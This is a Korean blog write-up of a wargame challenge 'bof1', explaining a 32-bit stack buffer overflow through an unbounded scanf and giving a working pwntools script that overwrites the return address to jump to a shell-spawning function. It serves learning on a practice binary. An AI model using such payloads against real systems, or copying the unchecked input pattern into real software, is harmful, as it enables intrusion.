워게임

[시스템 해킹] bof1 write-up

sewoo-jjang 2026. 1. 16. 19:52

bof1.zip
0.00MB

들어가기 전에

만약 IDA가 설치되어있다면 IDA를 이용하여 실행파일만 가지고 문제를 풀어보는것을 추천한다.

본 풀이는 IDA로 소스코드를 확인했다는 전제하에 풀이를 진행하는것으로 IDA를 쓰기 어렵다면 그냥 주어진 소스코드를 확인해도 괜찮다.

1. 소스코드 확인

#include <stdio.h>
#include <stdlib.h>

void secret() {
	system("/bin/bash");
}

void init() {
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main() {
	char a[0x44];

	init();

	scanf("%s", a);
	return 0;
}
  • 소스코드를 확인해보니 secret이라는 함수 안에 system함수로 shell을 실행하는 명령어가 들어있음을 확인했다.
  • 이렇다면 secret함수의 시작주소를 return 함수의 주소로 옮긴다면 exploit 가능할 것이라 생각한다.
  • 또한 scanf()라는 취약점이 존재하는 함수를 사용하여 배열 a에 들어가는 글자의 제한이 없어 bof가 가능함을 확인할 수있다.

2. 보안기법 확인

checksec bof1
  • 명령어로 확인해보니 보안기법은 하나도 안켜져있는것을 확인할 수 있고, 32bit파일임을 확인할 수 있다.
  • 그렇다면 return address 에 secret 함수의 주소를 넣으면 exploit 가능할 것이라는 가설이 더욱 확실해졌다.

3. secret 함수 주소 찾기

함수의 시작주소를 얻는 방법은 여러가지가 있지만, 가장 간단하다고 생각되는 IDA를 이용하여 함수주소를 얻어보겠다.

IDA 다운받는곳

 

IDA Free: Disassembler & Decompiler at No Cost

Free disassembler and decompiler to learn reverse engineering. Core IDA features at no cost for students and non-commercial use. Download and start today.

hex-rays.com

  • IDA로 bof1파일을 켜서 들어가면 해당 화면을 확인할 수 있다.
  • 왼쪽에 보면 여러 함수들을 확인할 수 있는데, 이중 secret함수에 볼 일이 있으니 해당 함수로 들어가자

  • 해당 페이지에 들어가서 스페이스바를 누르면 왼쪽 사진과 같은 함수의 주소를 볼 수 있는 화면이 나오게된다.
  • 여기에서 secret함수의 주소를 복사하여 payload를 작성할때 활용하도록 하자.

4. Payload 작성

소스코드에서 확인했듯이 취약한 함수인 scanf()를 이용하여 bof를 유발하고 이를 secret함수로 이어지게끔 만들자.

from pwn import *

p = process('./bof1')

secret = 0x08049196 # secret 함수의 시작주소. ida에서 secret 함수 부분에서 스페이스바를 누르면 구할 수 있음.

pay = b'a'*0x48 # v4 덮기
pay += b'a'*4 # sfp
pay += b'\x96\x91\x04\x08'

p.sendline(pay) #sendline과 send의 차이는 엔터까지 보내주느냐 안보내주느냐 임
p.interactive()
  • 다음과같은 코드를 작성할 수 있는데 여기서 두가지 이상한 부분을 확인할 수 있다.
    1. a배열의 크기는 0x44인데 어째서 0x48을 덮는가?
    2. 마지막 secret함수의 주소를 넣는 부분은 왜 저런 형식으로 넣는가?

1번은 IDA에서 확인할 수 있다.

  • IDA에 main함수부분을 들어가 tab을 누르면 어셈블리어가 우리가 잘 아는 코드로 바뀌에 된다.
  • 해당 코드를 확인해보면 소스코드에 있던 a배열이 v4임을 확인할 수 있고 그 옆에 주석으로 [ebp-48]이란것을 확인할 수 있다.
  • 해당 포시는 v4의 마지막 위치가 ebp(스택의 맨 처음)와 0x48만큼 떨어져있다는것을 의미하므로 스택을 다 채우기 위해선 0x48만큼을 더미데이터로 채워야한다는 것이다.
  • 이해하는데 어려움이 있다면 다른 포스팅을 참고해보길 추천한다.

2번은 little endian에 대한 이해가 필요하기에 첨부된 블로그 글을 정독해보길 추천한다.

https://softtone-someday.tistory.com/20

 

[개념정리] 빅엔디안(Big Endian)과 리틀엔디안(Little Endian)

통신을 하다 보면 통신 패킷이 반대로 나갈 때가 있습니다. 예를 들면 1 2 3 4를 보냈는데 막상 받는 쪽에서 들어온 패킷은 4 3 2 1인 거죠 이는 컴퓨터 CPU의 데이터를 저장하는 순서에서 발생하는

softtone-someday.tistory.com

  • 간단히 설명하자면 데이터를 받는 형식이 뒤에서부터 차곡차곡받아야하기에 저런 형식이 나오는것이라 생각하면 된다.

5. 실행결과

  • 실행결과 보이는것과 같이 정상적으로 쉘을 획득했음을 확인할 수 있다.

 

'워게임' 카테고리의 다른 글

[시스템 해킹] out_of_bound write-up  (0) 2026.02.04
[시스템 해킹] shell_bof write-up  (0) 2026.01.18
math.c write-up  (0) 2026.01.16
ICEWALL web-hacking 스터디반 과제 정리 3  (0) 2026.01.04
[웹 해킹] xss-1 write-up  (0) 2026.01.03